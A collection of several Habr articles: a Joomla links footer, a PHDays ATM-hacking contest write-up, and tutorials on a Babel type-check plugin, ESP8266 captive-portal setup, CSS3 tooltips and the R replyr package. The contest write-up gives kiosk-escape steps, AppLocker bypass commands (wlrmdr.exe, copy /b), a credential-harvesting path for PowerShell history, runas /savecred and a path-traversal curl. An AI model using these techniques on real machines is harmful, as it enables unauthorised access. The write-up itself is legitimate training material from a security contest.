#### Ресурсы сообщества:
* [форум русской поддержки Joomla](https://joomlaforum.ru/).
* [интернет-портал Joomla-сообщества](https://joomlaportal.ru/).
* [Сообщество Joomla на VC](https://vc.ru/s/1146097-joomla).
#### Telegram:
* [чат сообщества «Joomla! по-русски»](https://t.me/joomlaru).
* [Joomla для профессионалов, разработчики Joomla](https://t.me/projoomla).
* [Новости о Joomla! и веб-разработке по-русски](https://t.me/joomlafeed).
* [вакансии и предложения работы по Joomla](https://t.me/joomla_jobs): фуллтайм, частичная занятость и разовые подработки. Размещение вакансий [здесь](https://jpath.ru/jobs/add).
* [Англоязычный чат сообщества](https://t.me/joomlatalks). | https://habr.com/ru/post/692342/ | null | ru | null |
# Payment Village at PHDays 11: ATM hacking
The [Positive Hack Days 11 forum](https://www.phdays.com/en/press/news/phdays-11-wrap-up-interest-in-information-security-explodes-rutube-attack-investigated-pipeline-shutdown-demo/), which took place May 18–19, 2022, was truly epic. The bitterly fought ATM hacking contest featured no fewer than 49 participants. How cool is that? The winner of this year's prize fund of 50,000 rubles, with the handle Igor, was the first to hack the virtual machines. And they weren't even at the event! :)
Besides Igor, eight other participants picked up prizes this year for their VM-hacking skills. They were: **drd0c**, **vient**, **vrazov**, **durcm**, **zxcvcxzas7**, **asg\_krd**, **hundred303**, and **drink\_more\_water\_dude**. A big thank-you to everyone who took part, and for those who weren't at PHDays, here are the links to the virtual machines:
* [ATM1](https://drive.google.com/file/d/10wDbWri0wfjH8Azy5FH-dNo6NPd8UkDg)
* [ATM2](https://drive.google.com/file/d/1ILV5t5nmL9dHcieEgLjJovbH1N1SS7uS)
Figure 1. ATM interfaceAs for the tasks, they were identical for the two different virtual machines:
1. Kiosk bypass (solved 34 times)
2. Windows AppLocker bypass (solved 21 times)
3. Privilege escalation to the Administrator (solved 12 times)
On the C drive were three files: **task\_kiosk.exe**, **task\_applocker.exe**, and **task\_escalation.exe**, which had to be run to make the task count. **task\_kiosk.exe** could be run immediately after bypassing the kiosk; **task\_applocker.exe** was blocked using AppLocker; task\_escalation.exe required administrator privileges to run.
This year's architectural solutions allowed us to track the number of participants and solved tasks through a Telegram bot, thus providing more detailed statistics (Figure 2).
Figure 2. Total number of participantsTask analysis
-------------
We should note that participants this year had much greater scope for activity, and each task on the virtual machine had a large number of solutions. Last year, it took participants a long time to bypass the kiosk, and some simply gave up before completion. This year's changes brought results, delivering some interesting solutions that were not envisioned in the original scenario.
Below is an overview of the solutions in **general terms, without reference to specific virtual machines**. It will be obvious to participants which solution fits which machine. This is to allow interested readers to solve the tasks for themselves, should they wish to.
### Kiosk bypass. First method
Many had no idea how simple it was. To kiosk bypass in one of the virtual machines, they had to use the right mouse button. Surprisingly, participants did not notice that the right mouse button was working and, like last year, tried to find keyboard shortcuts to exit kiosk mode. The kiosk application was a web browser written in Delphi, so the complete kiosk bypass scenario was as follows: right-click → Print → Find Printer (Figure 3).
Figure 3. Right-click menu These actions made it possible to open explorer.exe and go to the C drive to run **task\_kiosk.exe**.
Figure 4. Executing the first task### Kiosk bypass. Second method
Things were a bit tricker in the other virtual machine because the right mouse button was disabled, as were the main keys. To exit kiosk mode, a network vector was laid out that required scanning of the ATM ports. After scanning the ports with Nmap, participants may have noticed some kind of service on port 80. The easiest way to find out what was running there was to follow the link [http://:80](http://atm_adress/). There on port 80, it turned out to be a web server specially written for the contest. Every time a user connected to it, it threw an error and opened a browser help page on the virtual machine.
Figure 5. Demonstrating the Nmap interfaceIn this case, the ATM's IP was 192.168.56.102, and scanning Nmap showed that port 80 was open. After navigating to that address in the browser, an error appeared, whereupon clicking the OK button opened the Internet Explorer browser.
Figure 6. Embedded errorFigure 7. Clicking OK opens the browserExiting the browser is much the same as in the first scenario and can be done through the Internet Explorer Downloads page.
### Bypassing AppLocker. First method
For unknown reasons, the scenario laid out in one of the virtual machines failed to work at the last moment, for which we apologize 😞. The fact is, however, we noticed it too late. Hence, participants were left searching for a non-existent AppLocker bypass and found many different scenarios instead. Some say that to bypass AppLocker suffice it to obtain administrator privileges, then disable it. This is indeed one way to bypass it, but it was originally conceived that the tasks would be completed in order and task\_applocker.exe would be run without administrator privileges. The laid-out scenario involved the use of **LOLBin** and was originally described [here](https://twitter.com/0gtweet/status/1493963591745220608?cxt=HBwWgMC5lZX-z7spAAAA&cn=ZmxleGlibGVfcmVjcw%3D%3D&refsrc=email).
`wlrmdr.exe -s 3600 -f 0 -t Click me! -m To run calculator -a 10 -u C:\task_applocker.exe`
The above command for bypassing AppLocker should have shown a notification which, when clicked, caused task\_applocker.exe to start. But for some reason this did not happen, nor did the AppLocker warning appear.
Figure 8. The wlrmdr.exe notification (keys in the Start bar)Bypassing AppLocker. Second method
----------------------------------
As for the second AppLocker bypass, everything worked fine. The hash of the EXE file was checked using the rules, making the bypass as simple as can be (solution suggested by **hx0day**).
We create the empty file 0.txt and execute the command copy /b task\_applocker.exe+0.txt notepad.exe, giving us the notepad.exe file — essentially a copy of task\_applocker.exe with a different hash. We run it and get a ready solution.
Figure 9. Executing task\_applocker.exeFigure 10. AppLocker rules### Privilege escalation. First method
Elevating privileges was easy enough in one of the virtual machines. The scenario envisioned searching the PowerShell history. Often, administrators who use this software forget to erase the history of entered commands. The PowerShell history, in turn, is available without administrator privileges, so information left there can be exploited by hackers. In our case, in one of the virtual machines, the history contained an administrator's username and password in cleartext. They could be found at the following path:
`C:\Users\ATM\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt`
Figure 11. Administrator's username and password in cleartext### Privilege escalation. Second method
Another (highly non-standard) way to elevate privileges was to use the runas command and look for a shortcut on the administrator's desktop to open the command-line interpreter with full privileges. This command makes it possible to run EXE files with administrator privileges. This is because some command arguments, such as /**savecard***,* allow saving the administrator's username and password, so that applications can then be run without entering these credentials.
r`unas /user:Admin /savecard cmd.exe`
Here, too, there are subtleties: the following command opens the console, which, as can be seen, is running as an administrator, but a closer inspection reveals that the necessary privileges are missing. At the same time, however, we are able to go to the administrator's desktop, where we need to run a shortcut.
Figure 12. Running the command and starting the console as an administratorWe try to run task\_escalation.exe and see the following error:
Figure 13. No administrator privilegesNext, we run the shortcut aministrator\_cmd.lnk located at C:\Users\Admin\Desktop.
Figure 14. Starting the consoleOnce that is done, we can run **task\_escalation.exe** with full administrator privileges to finally complete this task.
Figure 15. Running task\_escalation.exeAdditional tasks
----------------
Now let's take a look at the additional tasks. Recall that the ATM interface was a web page located at [http://bank.paymentvillage.org](http://bank.paymentvillage.org/). It is still up. The tasks are classified as additional because they are indirectly related to ATMs and involve searching for typical web vulnerabilities. For convenience and to make hacking easier, PHP errors are among the bugs.
Figure 16. PHP errorJust a handful of participants tried to hack the ATM web interface, and we received reports of the scenarios laid out. The first vulnerability, found by participant vient, was Path Traversal. We happily gave them a T-shirt.
Figure 17. Source code of the Index.php page`curl --path-as-is http://bank.paymentvillage.org/favicon.ico/../index.php`
The above command had to be run to view the source code.
By the way, the error shown in Figure 16 pointed to another inherent vulnerability, but, unfortunately, none of the participants found it. The thing is that the Delphi-based ATM code constantly read the file С:\Atm\atmkey.txt. This file contained atmkey, a unique ATM identifier that enabled us to monitor task execution. Next, atmkey was inserted automatically into every request in the form of an ATM header, and was used for authorization in the ATM. This header is needed, among other things, for dispensing money at the relevant ATM (virtual machine). This made it possible to exploit self-xss by passing malicious JS code in the ATM header.
Figure 18. Sending a requestNo one discovered the next vulnerability either, although they could have simply by changing the contents of the file C:\Atm\atmkey.txt. It was not even necessary to use tools for MITM attacks. Here's how it looks:
Figure 19. XSS exploitationThis year's scenarios also included ARP spoofing, which we will not analyze in depth, since an example of such an attack has already been [described.](https://habr.com/ru/company/pt/blog/579516/?) Basically, participants had to fake the response [http://bank.paymentvillage.org/payout?atmid=> to get the application C:\Atm\payout.exe to run on the second virtual machine, simulating a cash withdrawal. The ATM queries this address every five seconds and waits for the response "true" before dispensing money.](http://bank.paymentvillage.org/payout?atmid=%3cyour_atm_id)
There are, of course, vulnerabilities in the scenarios that are best kept secret so as not to kill the intrigue.
Conclusion
----------
This year's scenarios turned out to be very simple for the participants. Many came well prepared.
We understand the need to strike the right balance as regards complexity, and have put together a set of takeaways for implementation next year. At the same time, many participants failed to grasp the true scale of the contest and completed only the main tasks.
Certificates were sent to the participants, and the first feedback is already in. We hope all prizes have been received by the time this post is published. One of the participants (thanks for the feedback, **durcm**!) agreed to let us publish a photo of their certificate.
Lastly, a huge thank-you goes out to all our international participants, in particular Boschko. For several years now, he has been sharing walkthroughs of our VMs with his readers:
* [ATM/Kiosk Hacking](https://boschko.ca/atm-kiosk-hacking-labs/)
* [ATM/Kiosk Hacking (Reloaded)](https://boschko.ca/atm-kiosk-hacking-phd2022/)
Find more information about Payment Village in [Telegram](https://t.me/paymentvillage). See you soon! :)
Author: @yurasikhacker | https://habr.com/ru/post/688372/ | null | en | null |
# Runtyper — инструмент для проверки типов при выполнении JavaScript кода
[Runtyper](https://github.com/vitalets/babel-plugin-runtyper) — это плагин для [Babel](https://babeljs.io), выполняющий проверку типов прямо во время выполнения JavaScript кода. Он обнаруживает некорректные операции, например строгое сравнение строки и числа, и бросает предупреждение в консоль. Это позволяет вам находить ошибки типизации на ранней стадии, при этом не требует дополнительных аннотаций кода.
Что именно находим
------------------
На данный момент проверяются типы в строгих сравнениях и арифметических операциях. То есть если в коде случится одна из следующих ситуаций, то вы увидите предупреждение:
```
1 === "1" // Strict compare of different types: 1 (number) === "1" (string)
[1, 2] + true // Numeric operation with non-numeric value: "[1,2]" (object) + true (boolean)
42 * null // Numeric operation with non-numeric value: 42 (number) * null
...
```
JavaScript молча "проглатывает" такие операции, хотя в большинстве случаев это опечатка, невнимательность или просто баг.
Как это работает
----------------
Под капотом Runtyper использует данные [AST-дерева](https://en.wikipedia.org/wiki/Abstract_syntax_tree), предоставляемого бабелем. Плагин оборачивает операторы сравнения и арифметических действий в функцию, которая дополнительно проверяет типы аргументов.
Например, было:
```
if (x === y) { ... }
```
Стало (упрощенно):
```
if (strictEqual(x, y)) { ... }
function strictEqual(a, b) {
if (typeof a !== typeof b) {
console.warn('Strict compare of different types: ' + (typeof a) + ' === ' + (typeof b));
}
return a === b;
}
```
Про статический анализ
----------------------
Анализ типов в runtime не исключает статического анализа, например с помощью [Flow](https://flowtype.org). Скорее дополняет его, находя те ошибки, которые статически обнаружить сложно. Например, данные прилетающие в событиях пользователя или из внешних библиотек, для которых еще нет аннотаций типов.
Вот пример из документации, где статический анализ не находит ошибку, но при выполнении кода Runtyper бросит предупреждение:
```
function square(n) {
return n * n; // Numeric operation with non-numeric value: "Vasya" (string) * "Vasya" (string)
}
window.document.getElementById('username').addEventListener('change', function (event) {
square(event.target.value);
});
```
Конечно, минусом проверки в runtime является то, что сама проверка происходит только при выполнении определенной строки кода. Если строка ни разу не выполнилась — то и проверки не будет. Поэтому самое правильное — включать плагин в development-сборку и в staging, на котором у вас гоняются тесты.
Но несомненный плюс в том, что не нужно писать аннотаций :) Просто подключаете плагин и получаете предупреждения об ошибках в консоль.
Подведем итог
-------------
Можно без особых усилий добавить в проект дополнительную проверку типов в runtime. Это позволит вам отловить еще какое-то количество багов до продакшена. Работает в браузере и в Node.js и не требует аннотаций кода. Документация и примеры использования есть на [GitHub](https://github.com/vitalets/babel-plugin-runtyper). | https://habr.com/ru/post/325072/ | null | ru | null |
# Беспроводная настройка ESP8266 в прошивке DeviceHive v 0.3
Good news, everyone! Вышла [новая версия](https://github.com/devicehive/esp8266-firmware/releases) прошивки DeviceHive для ESP8266. Мы реализовали поддержку самых популярных интерфейсов для подключения устройств: GPIO, ADC, PWM, UART, I2C, SPI, 1-wire. Теперь можно легко подключить устройства с этими интерфейсами к нашему облачному сервису. А самое главное — появилась возможность беспроводного конфигурирования прошивки (см. скриншот ниже). Об этом мы сегодня и поговорим.
##### **Тройной RESET, или «Поехали!»**
При создании IoT-устройств с беспроводным подключением часто можно столкнуться с неприятной проблемой: настроить устройство конечному пользователю не так легко, как кажется. Такие устройства обычно не оснащены экраном и клавиатурой, поэтому задать начальные настройки (данные Wi-Fi-сети, например) не выйдет без подходящего кабеля и специализированного ПО. Эту проблему мы и попытались решить в новой версии прошивки.
Теперь настроить все предельно просто:
• устройство трижды перезагружается (с интервалом не более 3-х секунд), после чего превращается в точку доступа Wi-Fi;
• вы подключаетесь к этой точке и через браузер вводите все необходимые настройки;
• после применения настроек устройство автоматически перезагружается уже с новыми настройками.
Таким образом разом решаются обе проблемы — вам не потребуются ни кабели, ни специальное ПО. Кроме браузера… но у вас же есть браузер? Кнопка RESET чаще всего располагается прямо на корпусе девайса, трижды нажать ее должно быть достаточно просто.
Более того, в современных мобильных ОС не придется открывать даже браузер, ведь большинство из них поддерживают портальную аутентификацию (captive portal). На Apple-девайсах страница ввода данных открывается автоматически. Android же покажет уведомление, кликнув по которому, вы окажетесь на этой страничке.
На видео ниже можно посмотреть, как все работает с новой прошивкой и Android-устройством.
##### **Своими руками**
Давайте посмотрим, как в принципе работает такая система настройки, ведь ее можно реализовать для любого другого беспроводного устройства с Wi-Fi.
Для начала поднимаем обычную сеть Wi-Fi. В ней создаем DHCP-сервер, который будет раздавать IP-адреса подключенным устройствам. Но в качестве DNS-сервера он передает IP-адрес «хитрого» DNS. Вся хитрость в том, что на на любой DNS запрос «A» записи будет возращен всегда один и тот же IP — адрес HTTP-сервера, с помощью которого мы можем конфигурировать устройство. В случае ESP8266 DHCP, DNS и HTTP-сервер работают прямо на чипе. В совсем базовом варианте этого достаточно — открыв любую страницу в браузере, увидим страницу с настройками. Но, чтобы было красиво, можно заставить устройства, поддерживающие портальную аутентификацию, выводить уведомление о необходимости ввести данные.
Портальная аутентификация обычно используется для ввода данных и/или отображранения соглашении об использовании в гостничных, отельных и других Wi-Fi-хотспотах. Мы же используем эту технику для отображения нашей страницы.
Android при подключении к Wi-Fi-сети попытается зайти по адресу [clients3.google.com/generate\_204](http://clients3.google.com/generate_204).
Устройства Apple пытаются подключиться к [captive.apple.com](http://captive.apple.com).
Послав туда запрос, получите ответ вида:
```
$ curl http://clients3.google.com/generate_204 -i
HTTP/1.1 204 No Content
Content-Length: 0
Date: Mon, 07 Sep 2015 14:58:21 GMT
Server: GFE/2.0
$ curl http://captive.apple.com -i
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 68
Date: Mon, 07 Sep 2015 15:00:32 GMT
Connection: keep-alive
SuccessSuccess
```
Т. е. в ответ на HTTP-запрос они возвращают ответ со статусом 2xx. Благодаря этим запросам, устройства и определяют, подключены ли они к интернету. Для реализации же портальной аутентификации необходимо в ответ на эти запросы (или просто на все запросы, кроме интересных нам) посылать ответ с кодом 302 Moved Temporarily и указать в заголовке поле Location с нашим адресом, т. е. ответ должен быть примерной такой:
```
HTTP/1.1 302 Moved Temporarily
Content-Length: 0
Location: http://example.com
```
Получив такой ответ, устройства поймут, что необходимо отобразить страницу с настройками по указанному адресу — Apple-устройства сами откроют эту страницу на экране, а Android покажет уведомление. В операционных системах без поддержки портальной аутентификации достаточно лишь написать в адресной строке браузера любой адрес начинающейся с «http://» — бразуер откроет страницу с настройками. При этом вы не введете пользователя в заблуждение, т. к. в адресной строке будет отображен адрес именно страницы с настройками. В прошивке для ESP8266 мы используем адрес [devicehive.config](http://devicehive.config).
Надеемся, что это все вам пригодится. Удачи в создании собственных IoT-решений!
Автор: Николай Хабаров, Senior Embedded Developer | https://habr.com/ru/post/383881/ | null | ru | null |
# Создание анимированных tooltips'ов с помощью CSS3
Статьи про создание tooltips'ов уже не раз поднимались на хабре [[1](http://habrahabr.ru/blogs/css/136061/),[2](http://habrahabr.ru/blogs/css/132283/)] в виду большой популярности этого элемента. Сегодня вы узнаете еще один способ как создать простые, анимированные подсказки с помощью псевдо-элементов *before* и *after*, а так же свойства *transitions*.
В качестве [примера](http://tympanus.net/TipsTricks/CSS3Tooltips/index.html) были сделаны иконки социальных сервисов, при наведении на которые показываются названия этих сервисов.
Итак, приступим.
Неупорядоченный список сервисов:
```
* [Google Plus](#)
* [Twitter](#)
* [Dribbble](#)
* [Facebook](#)
* [LinkedIn](#)
* [Forrst](#)
```
Основной стиль для иконок и дополнительные стили для их позиционирования.
```
.tt-wrapper li a{
display: block;
width: 68px;
height: 70px;
margin: 0 2px;
outline: none;
background: transparent url(../images/icons.png) no-repeat top left;
position: relative;
}
.tt-wrapper li .tt-gplus { background-position: 0px 0px; }
.tt-wrapper li .tt-twitter{ background-position: -68px 0px; }
.tt-wrapper li .tt-dribbble{ background-position: -136px 0px; }
.tt-wrapper li .tt-facebook{ background-position: -204px 0px; }
.tt-wrapper li .tt-linkedin{ background-position: -272px 0px; }
.tt-wrapper li .tt-forrst{ background-position: -340px 0px; }
```
Внутрь элементов мы спрячем всплывающие подсказки, предварительно установив нулевую прозрачность, а скорость «всплытия» сделаем равную 0.3. В первом примере подсказки будут появляться сверху, поэтому расположим их на 100 пикселей выше иконок.
```
.tt-wrapper li a span{
width: 100px;
height: auto;
line-height: 20px;
padding: 10px;
left: 50%;
margin-left: -64px;
font-family: 'Alegreya SC', Georgia, serif;
font-weight: 400;
font-style: italic;
font-size: 14px;
color: #719DAB;
text-shadow: 1px 1px 1px rgba(0, 0, 0, 0.1);
text-align: center;
border: 4px solid #fff;
background: rgba(255,255,255,0.3);
text-indent: 0px;
border-radius: 5px;
position: absolute;
bottom: 100px;
opacity: 0;
box-shadow: 1px 1px 2px rgba(0,0,0,0.1);
transition: all 0.3s ease-in-out;
}
```
Появление происходит при наведении курсора на иконки или при наведении на место, где расположена сама подсказка. Указатель будет сделан с помощью псевдо-элементов before и after и будет представлять собой треугольник с небольшой тенью.
```
.tt-wrapper li a span:before,
.tt-wrapper li a span:after{
content: '';
position: absolute;
bottom: -15px;
left: 50%;
margin-left: -9px;
width: 0;
height: 0;
border-left: 10px solid transparent;
border-right: 10px solid transparent;
border-top: 10px solid rgba(0,0,0,0.1);
}
.tt-wrapper li a span:after{
bottom: -14px;
margin-left: -10px;
border-top: 10px solid #fff;
}
```
При самом наведении, мы увеличим прозрачность блока с подсказкой до 0.9 и зададим границу появления.
```
.tt-wrapper li a:hover span{
opacity: 0.9;
bottom: 70px;
}
```
Вот такой простой способ. В [демо](http://tympanus.net/TipsTricks/CSS3Tooltips/index.html) можно увидеть еще три других примера. Исходники можно скачать вот [здесь](http://tympanus.net/TipsTricks/CSS3Tooltips/CSS3Tooltips.zip).
*К сожалению, примеры будут работать только в тех браузерах, которые поддерживают псевдо-элементы и свойство transitions.* | https://habr.com/ru/post/137412/ | null | ru | null |
# R и большие данные: использование Replyr
`replyr` — сокращение от **RE**mote **PLY**ing of big data for **R** (удаленная обработка больших данных в R).
Почему стоит попробовать `[replyr](https://cran.r-project.org/web/packages/replyr/index.html)`? Потому что он позволяет применять стандартные рабочие подходы к удаленным данным (базы данных или [Spark](https://spark.apache.org/)).
Можно работать так же, как и с локальным `data.frame`. `replyr` предоставляет такие возможности:
* Обобщение данных: `replyr_summary()`.
* Объединение таблиц: `replyr_union_all()`.
* Связывание таблиц по строкам: `replyr_bind_rows()`.
* Использование функций разделения, объединения, комбинирования (`dplyr::do()`): `replyr_split()`, `replyr::gapply()`.
* Аггрегирование/распределение: `replyr_moveValuesToRows()` / `replyr_moveValuesToColumns()`.
* Отслеживание промежуточных результатов.
* Контроллер объединений.
Скорее всего, вы всё это делаете с данными локально, поэтому такие возможности сделают работу со `Spark` и `[sparklyr](https://spark.rstudio.com/)` *гораздо* легче.
`[replyr](https://github.com/WinVector/replyr)` — продукт коллективного опыта использования R в прикладных решениях для многих клиентов, сбора обратной связи и исправления недостатков.
Примеры ниже.
Все сейчас быстро меняется, поэтому воспользуемся для примеров версиями пакетов в разработке.
```
base::date()
## [1] "Thu Jul 6 15:56:28 2017"
# devtools::install_github('rstudio/sparklyr')
# devtools::install_github('tidyverse/dplyr')
# devtools::install_github('tidyverse/dbplyr')
# install.packages("replyr")
suppressPackageStartupMessages(library("dplyr"))
packageVersion("dplyr")
## [1] '0.7.1.9000'
packageVersion("dbplyr")
## [1] '1.1.0.9000'
library("tidyr")
packageVersion("tidyr")
## [1] '0.6.3'
library("replyr")
packageVersion("replyr")
## [1] '0.4.2'
suppressPackageStartupMessages(library("sparklyr"))
packageVersion("sparklyr")
## [1] '0.5.6.9012'
# больше памяти, чем предполагается в https://github.com/rstudio/sparklyr/issues/783
config <- spark_config()
config[["sparklyr.shell.driver-memory"]] <- "8G"
sc <- sparklyr::spark_connect(version='2.1.0',
hadoop_version = '2.7',
master = "local",
config = config)
```
Summary
-------
Стандартные `summary()` и `glance()`, которые нельзя выполнить на `Spark`.
```
mtcars_spark <- copy_to(sc, mtcars)
# резюме обработки, а не данных
summary(mtcars_spark)
## Length Class Mode
## src 1 src_spark list
## ops 2 op_base_remote list
packageVersion("broom")
## [1] '0.4.2'
broom::glance(mtcars_spark)
## Error: glance doesn't know how to deal with data of class tbl_sparktbl_sqltbl_lazytbl
```
`replyr_summary` работает.
```
replyr_summary(mtcars_spark) %>%
select(-lexmin, -lexmax, -nunique, -index)
## column class nrows nna min max mean sd
## 1 mpg numeric 32 0 10.400 33.900 20.090625 6.0269481
## 2 cyl numeric 32 0 4.000 8.000 6.187500 1.7859216
## 3 disp numeric 32 0 71.100 472.000 230.721875 123.9386938
## 4 hp numeric 32 0 52.000 335.000 146.687500 68.5628685
## 5 drat numeric 32 0 2.760 4.930 3.596563 0.5346787
## 6 wt numeric 32 0 1.513 5.424 3.217250 0.9784574
## 7 qsec numeric 32 0 14.500 22.900 17.848750 1.7869432
## 8 vs numeric 32 0 0.000 1.000 0.437500 0.5040161
## 9 am numeric 32 0 0.000 1.000 0.406250 0.4989909
## 10 gear numeric 32 0 3.000 5.000 3.687500 0.7378041
## 11 carb numeric 32 0 1.000 8.000 2.812500 1.6152000
```
Аггрегирование/распределение
----------------------------
`tidyr` работает в основном с локальными данными.
```
mtcars2 <- mtcars %>%
mutate(car = row.names(mtcars)) %>%
copy_to(sc, ., 'mtcars2')
# ошибки
mtcars2 %>%
tidyr::gather('fact', 'value')
## Error in UseMethod("gather_"): no applicable method for 'gather_' applied to an object of class "c('tbl_spark', 'tbl_sql', 'tbl_lazy', 'tbl')"
mtcars2 %>%
replyr_moveValuesToRows(nameForNewKeyColumn= 'fact',
nameForNewValueColumn= 'value',
columnsToTakeFrom= colnames(mtcars),
nameForNewClassColumn= 'class') %>%
arrange(car, fact)
## # Source: lazy query [?? x 4]
## # Database: spark_connection
## # Ordered by: car, fact
## car fact value class
##
## 1 AMC Javelin am 0.00 numeric
## 2 AMC Javelin carb 2.00 numeric
## 3 AMC Javelin cyl 8.00 numeric
## 4 AMC Javelin disp 304.00 numeric
## 5 AMC Javelin drat 3.15 numeric
## 6 AMC Javelin gear 3.00 numeric
## 7 AMC Javelin hp 150.00 numeric
## 8 AMC Javelin mpg 15.20 numeric
## 9 AMC Javelin qsec 17.30 numeric
## 10 AMC Javelin vs 0.00 numeric
## # ... with 342 more rows
```
Связывание по строкам
---------------------
`dplyr bind_rows`, `union` и `union_all` сейчас неприменимы в `Spark`. `replyr::replyr_union_all()` и `replyr::replyr_bind_rows()` — работоспособная альтернатива.
### bind\_rows()
```
db1 <- copy_to(sc,
data.frame(x=1:2, y=c('a','b'),
stringsAsFactors=FALSE),
name='db1')
db2 <- copy_to(sc,
data.frame(y=c('c','d'), x=3:4,
stringsAsFactors=FALSE),
name='db2')
# Ошибки из-за попытки осуществить операцию над обработчиком, а не данными
bind_rows(list(db1, db2))
## Error in bind_rows_(x, .id): Argument 1 must be a data frame or a named atomic vector, not a tbl_spark/tbl_sql/tbl_lazy/tbl
```
### union\_all
```
# игнорирует названия столбцов и приводит все данные к строкам
union_all(db1, db2)
## # Source: lazy query [?? x 2]
## # Database: spark_connection
## x y
##
## 1 1 a
## 2 2 b
## 3 3 c
## 4 4 d
```
### union
```
# игнорирует названия столбцов и приводит все данные к строкам
# скорее всего, также потеряет дублирующиеся строки
union(db1, db2)
## # Source: lazy query [?? x 2]
## # Database: spark_connection
## x y
##
## 1 4 d
## 2 1 a
## 3 3 c
## 4 2 b
```
### replyr\_bind\_rows
`replyr::replyr_bind_rows` может связывать вместе несколько `data.frame`-ов.
```
replyr_bind_rows(list(db1, db2))
## # Source: table [?? x 2]
## # Database: spark_connection
## x y
##
## 1 1 a
## 2 2 b
## 3 3 c
## 4 4 d
```
dplyr::do
---------
В нашем примере просто возьмем по нескольку строк из каждой группы аггрегированного набора данных. Обратите внимание: поскольку мы не задаем порядок в явном виде с помощью arrange, нельзя всегда ожидать совпадения результатов в разных источниках данных (БД или `Spark`).
### `dplyr::do` на локальных данных
Из `help('do', package='dplyr')`:
```
by_cyl <- group_by(mtcars, cyl)
do(by_cyl, head(., 2))
## # A tibble: 6 x 11
## # Groups: cyl [3]
## mpg cyl disp hp drat wt qsec vs am gear carb
##
## 1 22.8 4 108.0 93 3.85 2.320 18.61 1 1 4 1
## 2 24.4 4 146.7 62 3.69 3.190 20.00 1 0 4 2
## 3 21.0 6 160.0 110 3.90 2.620 16.46 0 1 4 4
## 4 21.0 6 160.0 110 3.90 2.875 17.02 0 1 4 4
## 5 18.7 8 360.0 175 3.15 3.440 17.02 0 0 3 2
## 6 14.3 8 360.0 245 3.21 3.570 15.84 0 0 3 4
```
### `dplyr::do` на `Spark`
```
by_cyl <- group_by(mtcars_spark, cyl)
do(by_cyl, head(., 2))
## # A tibble: 3 x 2
## cyl V2
##
## 1 6
## 2 4
## 3 8
```
Получаем не совсем то, что можно использовать.
### `replyr` разделение/объединение
```
mtcars_spark %>%
replyr_split('cyl',
partitionMethod = 'extract') %>%
lapply(function(di) head(di, 2)) %>%
replyr_bind_rows()
## # Source: table [?? x 11]
## # Database: spark_connection
## mpg cyl disp hp drat wt qsec vs am gear carb
##
## 1 21.0 6 160.0 110 3.90 2.620 16.46 0 1 4 4
## 2 21.0 6 160.0 110 3.90 2.875 17.02 0 1 4 4
## 3 22.8 4 108.0 93 3.85 2.320 18.61 1 1 4 1
## 4 24.4 4 146.7 62 3.69 3.190 20.00 1 0 4 2
## 5 18.7 8 360.0 175 3.15 3.440 17.02 0 0 3 2
## 6 14.3 8 360.0 245 3.21 3.570 15.84 0 0 3 4
```
### `replyr gapply`
```
mtcars_spark %>%
gapply('cyl',
partitionMethod = 'extract',
function(di) head(di, 2))
## # Source: table [?? x 11]
## # Database: spark_connection
## mpg cyl disp hp drat wt qsec vs am gear carb
##
## 1 21.0 6 160.0 110 3.90 2.620 16.46 0 1 4 4
## 2 21.0 6 160.0 110 3.90 2.875 17.02 0 1 4 4
## 3 22.8 4 108.0 93 3.85 2.320 18.61 1 1 4 1
## 4 24.4 4 146.7 62 3.69 3.190 20.00 1 0 4 2
## 5 18.7 8 360.0 175 3.15 3.440 17.02 0 0 3 2
## 6 14.3 8 360.0 245 3.21 3.570 15.84 0 0 3 4
```
`replyr::replyr_apply_f_mapped`
-------------------------------
Что хотелось бы получить: данные с именами, соответствующими коду (т.е. изменить данные, а не код).
По некоторому размышлению этого можно достигнуть, если связать изменение данных с окружением функции, а не с данными. То есть данные изменены до тех пор, пока соответствующая контролирующая функция выполняется. В нашем случае эта функция — `replyr::replyr_apply_f_mapped()`, и работает она следующим образом.
Предположим, что операция, которую мы хотим использовать — функция понижения порядка, полученная из некоторого неподконтрольного нам источника (например, пакета). Это может быть простая функция (как ниже), но предположим, мы хотим использовать ее без изменений (исключая даже совсем небольшие, как введение `wrapr::let()`).
```
# внешняя функция с заданными в явном виде названиями столбцов
DecreaseRankColumnByOne <- function(d) {
d$RankColumn <- d$RankColumn - 1
d
}
```
Чтобы применить эту функцию к `d` (в котором не такие, как ожидается, названия столбцов!), мы используем `replyr::replyr_apply_f_mapped()` для создания нового параметризированного адаптера:
```
# наши данные
d <- data.frame(Sepal_Length = c(5.8,5.7),
Sepal_Width = c(4.0,4.4),
Species = 'setosa',
rank = c(1,2))
# обработчик для ввода параметров
DecreaseRankColumnByOneNamed <- function(d, ColName) {
replyr::replyr_apply_f_mapped(d,
f = DecreaseRankColumnByOne,
nmap = c(RankColumn = ColName),
restrictMapIn = FALSE,
restrictMapOut = FALSE)
}
# использование
dF <- DecreaseRankColumnByOneNamed(d, 'rank')
print(dF)
## Sepal_Length Sepal_Width Species rank
## 1 5.8 4.0 setosa 0
## 2 5.7 4.4 setosa 1
```
`replyr::replyr_apply_f_mapped()` переименовывает столбцы так, как ожидается в `DecreaseRankColumnByOne` (соответствие задано в `nmap`), применяет `DecreaseRankColumnByOne` и возвращает имена к исходным перед тем, как вернуть результат.
Отслеживание промежуточных результатов
--------------------------------------
Многие задачи в `[Sparklyr](https://cran.r-project.org/web/packages/sparklyr/index.html)` связаны с созданием промежуточных или временных таблиц. Это можно делать с помощью `dplyr::copy_to()` и `dplyr::compute()`. Эти способы могут быть ресурсоёмкими.
В `[replyr](https://cran.r-project.org/web/packages/replyr/index.html)` есть функции, позволяющие держать процесс под контролем: генераторы временных имен, не изменяющие собственно данные (они также используются внутри самого пакета).
Сама по себе функция довольно проста:
```
print(replyr::makeTempNameGenerator)
## function (prefix, suffix = NULL)
## {
## force(prefix)
## if ((length(prefix) != 1) || (!is.character(prefix))) {
## stop("repyr::makeTempNameGenerator prefix must be a string")
## }
## if (is.null(suffix)) {
## alphabet <- c(letters, toupper(letters), as.character(0:9))
## suffix <- paste(base::sample(alphabet, size = 20, replace = TRUE),
## collapse = "")
## }
## count <- 0
## nameList <- list()
## function(..., peek = FALSE, dumpList = FALSE, remove = NULL) {
## if (length(list(...)) > 0) {
## stop("replyr::makeTempNameGenerator tempname generate unexpected argument")
## }
## if (peek) {
## return(names(nameList))
## }
## if (dumpList) {
## v <- names(nameList)
## nameList <<- list()
## return(v)
## }
